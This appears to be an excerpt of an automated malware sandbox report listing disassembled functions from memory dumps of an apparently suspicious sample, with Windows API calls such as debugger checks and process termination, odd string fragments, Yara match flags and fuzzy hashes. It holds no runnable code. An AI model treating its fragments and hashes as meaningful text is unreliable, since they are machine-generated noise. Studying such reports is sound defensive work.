Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7c4bca332d55ad8fb61d822d770d6686c6f2dd78a02d1062cf46c8ea99dc4fee
Instruction ID: 34ff86a7adff3a9332932a297ff497ad14c809de31fcf6991d6cd654396fe8d7
Opcode Fuzzy Hash: 7c4bca332d55ad8fb61d822d770d6686c6f2dd78a02d1062cf46c8ea99dc4fee
Instruction Fuzzy Hash: 69314B75D05328DBDF50DFA4C989BCDBBB8AF05304F10409AE50CAB240EB759B858F54

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3461A, Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,6ED3473A,6ED5A3EC), ref: 6ED3461F
UnhandledExceptionFilter.KERNEL32(6ED3473A,?,6ED3473A,6ED5A3EC), ref: 6ED34628
GetCurrentProcess.KERNEL32(C0000409,?,6ED3473A,6ED5A3EC), ref: 6ED34633
TerminateProcess.KERNEL32(00000000,?,6ED3473A,6ED5A3EC), ref: 6ED3463A

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 61cf43a02d995bad3ad7391c5fa5cbe6fd853a0a4a1f4d7037fd551cd830ea88
Instruction ID: 1521bcc146ef8b16ab73b58bd62ba7e7115e90bb5f2a67c2556803174286eb58
Opcode Fuzzy Hash: 61cf43a02d995bad3ad7391c5fa5cbe6fd853a0a4a1f4d7037fd551cd830ea88
Instruction Fuzzy Hash: A2D01232004A28EBEF002BE0C80DE883F28EB0A212F024800F30A82080DF3248828B71

Uniqueness

Uniqueness Score: -1.00%

Function 00F913DB, Relevance: 5.4, Strings: 4, Instructions: 400COMMON

Download Yara Rule

Strings

=t[, xrefs: 00F914B2
g,0, xrefs: 00F91885
A{, xrefs: 00F9158E
=Lw, xrefs: 00F91974

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: =Lw$=t[$A{$g,0
API String ID: 0-3102551745
Opcode ID: 4acffec2d0a1201de971c2abe4a4f4dd9899c140d8d50992996571eae54e4bb1
Instruction ID: 1bdc9ece3f1d265227d99f13030497f32e8e45643def73d58578074ce7e73115
Opcode Fuzzy Hash: 4acffec2d0a1201de971c2abe4a4f4dd9899c140d8d50992996571eae54e4bb1
Instruction Fuzzy Hash: 3F1232715083809FE768CF65C58AA8BFBE2FBC4758F10891DF29986260D7B48949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6ED2AF10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

\PerfmonBar\config.xml, xrefs: 6ED2ADB9

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: \PerfmonBar\config.xml
API String ID: 0-3729978544
Opcode ID: 10738631d5e6eea1141bc111a9f787d7e31c35d3b1b24f8a8f268d481026fa25
Instruction ID: 496682d959477287bfb949b87a5963979002d1bba794240d01ca370c4dd2477a
Opcode Fuzzy Hash: 10738631d5e6eea1141bc111a9f787d7e31c35d3b1b24f8a8f268d481026fa25
Instruction Fuzzy Hash: 5C31BAB0D00A58DFEB10CFA8C944B9EBBF4FF08718F004269E915AB380D735A905CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F9C145, Relevance: 5.2, Strings: 4, Instructions: 222COMMON

Download Yara Rule

Strings

.*&, xrefs: 00F9C15A
+M, xrefs: 00F9C240
u_T, xrefs: 00F9C355
Y\T, xrefs: 00F9C26E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +M$.*&$Y\T$u_T
API String ID: 0-2652214267
Opcode ID: 062ff48a350f2c03219d1de173cbe02276dc658c8eb438191546beb4a3d92bc3
Instruction ID: 34ba5f4febbbebb0c58ed7a2a72a5aff976e2b17179900f165e7c7c5c3a06a57
Opcode Fuzzy Hash: 062ff48a350f2c03219d1de173cbe02276dc658c8eb438191546beb4a3d92bc3
Instruction Fuzzy Hash: 4EB133B6D00309ABDF54DFE5C98AADEBBB0FF44314F208149E112BA290D3B41A49CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00F868AD, Relevance: 5.2, Strings: 4, Instructions: 191COMMON

Download Yara Rule

Strings

Q5, xrefs: 00F86A6B
C)/, xrefs: 00F86A46
(P, xrefs: 00F8693D
AZk, xrefs: 00F869F5

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: AZk$C)/$Q5$(P
API String ID: 0-3568429903
Opcode ID: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction ID: 7a0e53cd4b5e9cd28904b31885c8059af7bf8218bd4a5b36f9931998860b5c22
Opcode Fuzzy Hash: 4f5247ff58d37919dde0014091b0176d3b6085f5b95e0dacd0acd0109bc31bfc
Instruction Fuzzy Hash: 899110B2508380AFC358CF69C98690BFBF2BBC5718F409A1DF59596260D7BAD905CF06

Uniqueness

Uniqueness Score: -1.00%

Function 00F97EDD, Relevance: 5.2, Strings: 4, Instructions: 160COMMON

Download Yara Rule

Strings

VXe, xrefs: 00F97F21
bQ, xrefs: 00F97FF5
q;\, xrefs: 00F9809F
Ge&, xrefs: 00F9800A

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ge&$VXe$bQ$q;\
API String ID: 0-2640374020
Opcode ID: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction ID: 2b9a3866d3b5a38405b3750425e0a410a3763b565b9cc69246baaf65eab94f31
Opcode Fuzzy Hash: cc2a5a54575fbf300a3aebb8dccb6ac4b5d29b68b9b0ac915b38ada48fa4d047
Instruction Fuzzy Hash: 23616271509301AFEB98DF20C88A41FBBE1FBC5398F10491DF596A6260D775CA4ACB83

Uniqueness

Uniqueness Score: -1.00%

Function 00F81DF9, Relevance: 5.1, Strings: 4, Instructions: 146COMMON

Download Yara Rule

Strings

,\H, xrefs: 00F82039
,\H, xrefs: 00F81FAE
af`, xrefs: 00F82056
c2O, xrefs: 00F81F52

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: ,\H$,\H$af`$c2O
API String ID: 0-3082886527
Opcode ID: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction ID: 7ab7de5a368796a7e81ee32c0bacaffe344482b5cc75d5bf6bdc33eda4c3264d
Opcode Fuzzy Hash: 3bfb5e42cca4a70539c8f4188a6d54e0a7ec739cabc5743c37cdc03544baeb09
Instruction Fuzzy Hash: 675185716083418BC798DF28D58981FBBE1FBC8768F204A1EF196A6260C370DA09CB47

Uniqueness

Uniqueness Score: -1.00%

Function 00FA35E3, Relevance: 5.1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

Strings

4`g, xrefs: 00FA36FF
!#, xrefs: 00FA369C
%uG, xrefs: 00FA3683
g6, xrefs: 00FA3623

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: %uG$4`g$g6$!#
API String ID: 0-3570404244
Opcode ID: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction ID: 0e846ca0ec59fc4b84adce30d9877295e815b30122577c5a0fab88b25226b81e
Opcode Fuzzy Hash: 49efdd2581645fbbb63b707176fab2ea5744dfb9c626b487036a607583eb4737
Instruction Fuzzy Hash: D05122B1C0131EABCF15CFA4D94A4EEFBB0BB45718F208199D411BA250D3B41A49DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F9CF2C, Relevance: 5.1, Strings: 4, Instructions: 102COMMON

Download Yara Rule

Strings

9b', xrefs: 00F9CF35
q, xrefs: 00F9D02E
(", xrefs: 00F9CF83
zL, xrefs: 00F9CF7B

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: zL$("$9b'$q
API String ID: 0-871342943
Opcode ID: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction ID: 6c33553b7b7b48185815700b58b48cbd71248e1a68dcfd06288a557c0545c9c4
Opcode Fuzzy Hash: d58202ca7df7bc05c79e8fbda96cdac0ffd23f09c47f9b8b024468306da2de10
Instruction Fuzzy Hash: A94144B250D3019FC794CF24D58940BBBE1FBD4718F604A1EF489A6224D7B4DA0A8F83

Uniqueness

Uniqueness Score: -1.00%

Function 6ED54A27, Relevance: 4.7, APIs: 3, Instructions: 206COMMON

Download Yara Rule

APIs

Part of subcall function 6ED4897C: GetLastError.KERNEL32(00000000,00000000,00000004,6ED3B7B1,00000000,00000000,00000000,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48981
Part of subcall function 6ED4897C: SetLastError.KERNEL32(00000000,00000008,000000FF,?,6ED4D694,00000000,00000000,?,01384FE0,00000000), ref: 6ED48A1F

Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED489DE
Part of subcall function 6ED4897C: _free.LIBCMT ref: 6ED48A14

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6ED54A7B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6ED54AC5
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6ED54B8B

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: bce2cdb4e0527a69c6d6a52576de48f4940846d0a7a1b0ee736b23a496d2096d
Instruction ID: de7d53973672c5e799feda9733eaeaa58d6e2c3566f0ca8f1c7912329e1e8fbd
Opcode Fuzzy Hash: bce2cdb4e0527a69c6d6a52576de48f4940846d0a7a1b0ee736b23a496d2096d
Instruction Fuzzy Hash: 3E61B171510217DFEF548F68CC81BAAB3A8EF44314F1041A9E926C7284E735D9B6CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6ED3D436, Relevance: 4.6, APIs: 3, Instructions: 78COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6ED3D52E
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6ED3D538
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6ED3D545

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 7d38bf52659930be4f81bc743683345d027dbfa2a43c8f6fcee4e66783fb32ae
Instruction ID: 4a025262303a1d11f21b9894727c1c3ab5de9cde80f5a464714e1c37bfdf6e4a
Opcode Fuzzy Hash: 7d38bf52659930be4f81bc743683345d027dbfa2a43c8f6fcee4e66783fb32ae
Instruction Fuzzy Hash: D131C77590122C9BCB61DF64D888BCDBBB8BF09314F6046DAE41CA7290EB349F858F54

Uniqueness

Uniqueness Score: -1.00%

Function 6ED44F94, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,6ED44F93,?,00000000,?,?,?,6ED4D694), ref: 6ED44FB6
TerminateProcess.KERNEL32(00000000,?,6ED44F93,?,00000000,?,?,?,6ED4D694), ref: 6ED44FBD
ExitProcess.KERNEL32 ref: 6ED44FCF

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 6b54f806f22b88e30ee841167972c0fd971bb39250ada7fb6d66d02503cd2833
Instruction ID: a20770f351500eedbf7b8fb129afe37639d8b02175b3cd5d90e317896b3b474c
Opcode Fuzzy Hash: 6b54f806f22b88e30ee841167972c0fd971bb39250ada7fb6d66d02503cd2833
Instruction Fuzzy Hash: 50E0EC32424618EFDF126FA4C918E483B79FB55296F014814F90586168DB3AD993DFB0

Uniqueness

Uniqueness Score: -1.00%

Function 00F9B0BA, Relevance: 4.2, Strings: 3, Instructions: 430COMMON

Download Yara Rule

Strings

, xrefs: 00F9B8D2
)dP, xrefs: 00F9B1D0
"pRk, xrefs: 00F9B62F

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: $"pRk$)dP
API String ID: 0-4184037624
Opcode ID: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction ID: ac74968de50fde9eb670cfd0aa687f5ca83845c84173a5048c40e1bebf806a4a
Opcode Fuzzy Hash: 6ac0fe42bcd2ce2da81b2a65f90b84b19e729091e40ced8172263e78d30f7bb4
Instruction Fuzzy Hash: A0223F715093808FE768CF25C58AA9BFBE1FBC4708F10891DE6DA86260D7B19949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00F82575, Relevance: 4.0, Strings: 3, Instructions: 290COMMON

Download Yara Rule

Strings

+m, xrefs: 00F8290D
/ U, xrefs: 00F825BA
~6, xrefs: 00F82869

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: +m$/ U$~6
API String ID: 0-2643806746
Opcode ID: 924ea7b528aa6774e8acf687b6e9352c91a2ddc8d2c8266c77277dd3661e0da6
Instruction ID: 1666d3d626f8d3afe3bee6adcac58988cfa71602571a400fb0835c43bff0a6e3
Opcode Fuzzy Hash: 924ea7b528aa6774e8acf687b6e9352c91a2ddc8d2c8266c77277dd3661e0da6
Instruction Fuzzy Hash: B5E11F724083809FD3A5CF65C98AA5BFBF1FBC5744F50891DF29A86220C7B29948DF02

Uniqueness

Uniqueness Score: -1.00%

Function 00F9C772, Relevance: 4.0, Strings: 3, Instructions: 241COMMON

Download Yara Rule

Strings

m, xrefs: 00F9CAA1
5-.', xrefs: 00F9C907
5[], xrefs: 00F9CBC0

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 5-.'$5[]$m
API String ID: 0-734274072
Opcode ID: f95af257751fc9316d99348f0fea76d6075745dd79a1a2703a9ba34434e44870
Instruction ID: 86dfcd5a7aba2aaf125e973304aa05d1c6e831c9acf8c874bc7418a04c07e30d
Opcode Fuzzy Hash: f95af257751fc9316d99348f0fea76d6075745dd79a1a2703a9ba34434e44870
Instruction Fuzzy Hash: 6DC132B25083819FD758CF65C48A95BFBF1FBC4358F204A1DF19686260D7B49948DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA1C71, Relevance: 4.0, Strings: 3, Instructions: 240COMMON

Download Yara Rule

Strings

\4, xrefs: 00FA1F58
F, xrefs: 00FA1E67
3^", xrefs: 00FA1D4E

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 3^"$F$\4
API String ID: 0-424740036
Opcode ID: 543e4abe11c8b7308511bf14080bb054da8ff00bf02560f1321bc19f77464360
Instruction ID: 321ccf6d9d0a14669a9712dd501811068894c0484f320b5e94c6ab6a7968a626
Opcode Fuzzy Hash: 543e4abe11c8b7308511bf14080bb054da8ff00bf02560f1321bc19f77464360
Instruction Fuzzy Hash: 43B142B29083809FD354CF29C48A90BFBE1FBC9758F108A1DF59996260D3B5CA49CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00F87739, Relevance: 3.9, Strings: 3, Instructions: 187COMMON

Download Yara Rule

Strings

bL0, xrefs: 00F87883
_W, xrefs: 00F87843
<, xrefs: 00F87992

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: _W$bL0$<
API String ID: 0-458269699
Opcode ID: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction ID: 40c8eadc03a3d0354a21e523692d9e25d7c7256cbc2c7358dd7f3c56294b95c2
Opcode Fuzzy Hash: 4a44b99beb94c7fb9182986a263aa726065e7772d174d452e49dac74d56dcc6a
Instruction Fuzzy Hash: 188120B25083809FC354DF25C88591BBBF2FBC4758F504A1DF69696260D3B6CA498F43

Uniqueness

Uniqueness Score: -1.00%

Function 00F83085, Relevance: 3.9, Strings: 3, Instructions: 177COMMON

Download Yara Rule

Strings

,9, xrefs: 00F83206
4?, xrefs: 00F8316D
TY#, xrefs: 00F8314C

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 4?$TY#$,9
API String ID: 0-2698369630
Opcode ID: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction ID: 04fc4bc6f7c21f2bea504f08261c5f22fe8e1cbb8f88e6429703b7eda5ba997d
Opcode Fuzzy Hash: c374265c888ef4ea721f1e1f90a6bfd18af9f169c7ef1242d4c59883bfc453aa
Instruction Fuzzy Hash: B271A6B25083429BC758DF22C88985BBBF1FFD4758F100A1DF18696260E772CA09DF82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3306, Relevance: 3.9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

at, xrefs: 00FA340F
l, xrefs: 00FA34AB
/., xrefs: 00FA3438

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: /.$l$at
API String ID: 0-2847909692
Opcode ID: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction ID: 6004856e133c9edde612b86dc7f3986037b5b4473f3d0a92ea5f430d18a5ef5c
Opcode Fuzzy Hash: 31a58317aa8a8e5bc13c553521d14c7f1b809e8220723032f0a27305d0284570
Instruction Fuzzy Hash: BA7130B14083019FD798DF69C88981BBFE1FBC5758F444A0DF29A96220D3B58A59CF87

Uniqueness

Uniqueness Score: -1.00%

Function 00F8597D, Relevance: 3.9, Strings: 3, Instructions: 133COMMON

Download Yara Rule

Strings

Qm', xrefs: 00F85A97
!e4, xrefs: 00F85995
O*, xrefs: 00F85AAF

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: !e4$O*$Qm'
API String ID: 0-765253384
Opcode ID: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction ID: 33ff32cbbafe50bc2439ef7e84bf60052e7e3ec7774f3fa81273fa9bd5fd4cfb
Opcode Fuzzy Hash: 6c18fd2bc8357949007d3394de4fc677b21f9668ad150dc7b1f0acf317e49187
Instruction Fuzzy Hash: 4F51AF716087019BD744DF26C94585FBBE2FFC8B18F144A2DF58696260D375DA09CB83

Uniqueness

Uniqueness Score: -1.00%

Function 00FA1987, Relevance: 3.9, Strings: 3, Instructions: 130COMMON

Download Yara Rule

Strings

Ms*, xrefs: 00FA19C3
P-, xrefs: 00FA19E8
7|K, xrefs: 00FA1A43

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 7|K$Ms*$P-
API String ID: 0-841752872
Opcode ID: edc5d08c3c2ccc011b7fd12471ee03b1d51836fdb18ae2867fa9cd2a94b70f23
Instruction ID: 9021f1ff8dc2c8caa665b4f63e90ab1d89896513efee1fd1c191be3cde0f2e6f
Opcode Fuzzy Hash: edc5d08c3c2ccc011b7fd12471ee03b1d51836fdb18ae2867fa9cd2a94b70f23
Instruction Fuzzy Hash: 0551A7B2508341DFC358CF25C88545BBBE1FBC43A8F505A1EF085962A1E374CA499F87

Uniqueness

Uniqueness Score: -1.00%

Function 00F9CC3F, Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

0uk, xrefs: 00F9CD70
d1f, xrefs: 00F9CCC7
jN, xrefs: 00F9CD15

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 0uk$d1f$jN
API String ID: 0-1634662418
Opcode ID: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction ID: 2ca126535653c07dadd4979a38b0c85efcf8e7120a86c9e3aa0671e2eb62bbc0
Opcode Fuzzy Hash: 2ed6974f9bc777f8b13fa5ff8d557c1f9ab6aed86fb500707cdd080a82b76788
Instruction Fuzzy Hash: D14102B2C0131AEBCF48CFE5D94A4EEBBB1BB48314F208558D411B6250D7B85B49CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00F82B7C, Relevance: 3.8, Strings: 3, Instructions: 73COMMON

Download Yara Rule

Strings

\vQ, xrefs: 00F82C5B
*, xrefs: 00F82C31
"wLA, xrefs: 00F82B98

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: "wLA$\vQ$*
API String ID: 0-1256145968
Opcode ID: cbc54b01b2cbb10625924a5ba251ca47ce41c81ddff9fcf84ef175e76c447377
Instruction ID: d664df93f151c815690308f8bde5b41c6a850fdfee417dbc0797567c132a9b4c
Opcode Fuzzy Hash: cbc54b01b2cbb10625924a5ba251ca47ce41c81ddff9fcf84ef175e76c447377
Instruction Fuzzy Hash: C83100B1D00319ABCF08DFA5D98A4EEBFB1FB44314F208198D515A6260D7B45A05DF91

Uniqueness

Uniqueness Score: -1.00%

Function 6ED41D50, Relevance: 3.5, APIs: 2, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d753dd2369bff9bcfbbd9128ba845ef9a1227f0505efbf6345abb97388b85d1
Instruction ID: f158a8e4aab1134b44f94d6f643cc17bd3728921859b0adf134f15f21071195c
Opcode Fuzzy Hash: 4d753dd2369bff9bcfbbd9128ba845ef9a1227f0505efbf6345abb97388b85d1
Instruction Fuzzy Hash: 24021A72E00219DFDB14CFA9C89069EBBF1FF98314F258269D919E7384D731AA45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6ED22D10, Relevance: 2.9, Strings: 2, Instructions: 444COMMON

Download Yara Rule

Strings

+, xrefs: 6ED23156
%, xrefs: 6ED23166

Memory Dump Source

Source File: 00000000.00000002.707650688.000000006ED21000.00000020.00020000.sdmp, Offset: 6ED20000, based on PE: true

Associated: 00000000.00000002.707645380.000000006ED20000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707679044.000000006ED5A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.707692459.000000006ED6D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.707697293.000000006ED70000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: %$+
API String ID: 0-2626897407
Opcode ID: 366ebf1fa61da0406ce161314b9304665eab2e1395da2164f3a52f8cb8cf5557
Instruction ID: f749161f70324d157e1de6da97c245df4b3e207ab5db74c037842387fa1ab107
Opcode Fuzzy Hash: 366ebf1fa61da0406ce161314b9304665eab2e1395da2164f3a52f8cb8cf5557
Instruction Fuzzy Hash: 6BF1D272D10619EFDB15CFA8DC40BAEBBB9FF89318F144629F915A7280D7349901CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F8A8E8, Relevance: 2.7, Strings: 2, Instructions: 191COMMON

Download Yara Rule

Strings

?h, xrefs: 00F8AA5D
RSrG, xrefs: 00F8A950

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: RSrG$?h
API String ID: 0-3757341021
Opcode ID: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction ID: 1ac14cd8a7481a9036068031d03b37d9e2c30db1c102400e094086797ef7016d
Opcode Fuzzy Hash: b2322cef8445787a4f844954aa2255ad5b27f8ca0ee112432e6877cadbb92aac
Instruction Fuzzy Hash: FB913F725083819FD758CF60C98A91BFFF1FBD4768F10991DF28586220D3B6CA599B82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA2D4F, Relevance: 2.7, Strings: 2, Instructions: 182COMMON

Download Yara Rule

Strings

wU, xrefs: 00FA2E1B
(u, xrefs: 00FA2EC9

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: (u$wU
API String ID: 0-793206181
Opcode ID: b14dccaf24638d48edf22143bd9993ec191656c929b374ce9eb95c8b1c9d6ca0
Instruction ID: f9162962398940fbbcf1f9416da2b0dda14a9068946cb66d0769d96c15aa6158
Opcode Fuzzy Hash: b14dccaf24638d48edf22143bd9993ec191656c929b374ce9eb95c8b1c9d6ca0
Instruction Fuzzy Hash: 558199B26083019FC398CF25C98A41FBBF1EBD9768F10991DF596562A0D3B4CA09DF46

Uniqueness

Uniqueness Score: -1.00%

Function 00F90FC5, Relevance: 2.7, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

jo, xrefs: 00F90FFC
pl.d, xrefs: 00F9104C

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: jo$pl.d
API String ID: 1586166983-342083115
Opcode ID: 8ca85eb9ebb4e522e691c7a70f2f3e18c3f8daaec73dd5f8ffe9407567729fdf
Instruction ID: e47168fcb1b91ec26a4a453b2522c51908270f38e4aa05155e5d5d862fce3a10
Opcode Fuzzy Hash: 8ca85eb9ebb4e522e691c7a70f2f3e18c3f8daaec73dd5f8ffe9407567729fdf
Instruction Fuzzy Hash: 70810E72D0020DEBCF18DFE5D98A8DEBBB2FB44318F208159E411BA260D7B95A59CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00FA20F8, Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

Ep?, xrefs: 00FA21CB
`B, xrefs: 00FA222C

Memory Dump Source

Source File: 00000000.00000002.707533149.0000000000F80000.00000040.00000010.sdmp, Offset: 00F80000, based on PE: true

Yara matches

Similarity

API ID:
String ID: Ep?$`B
API String ID: 0-215957162
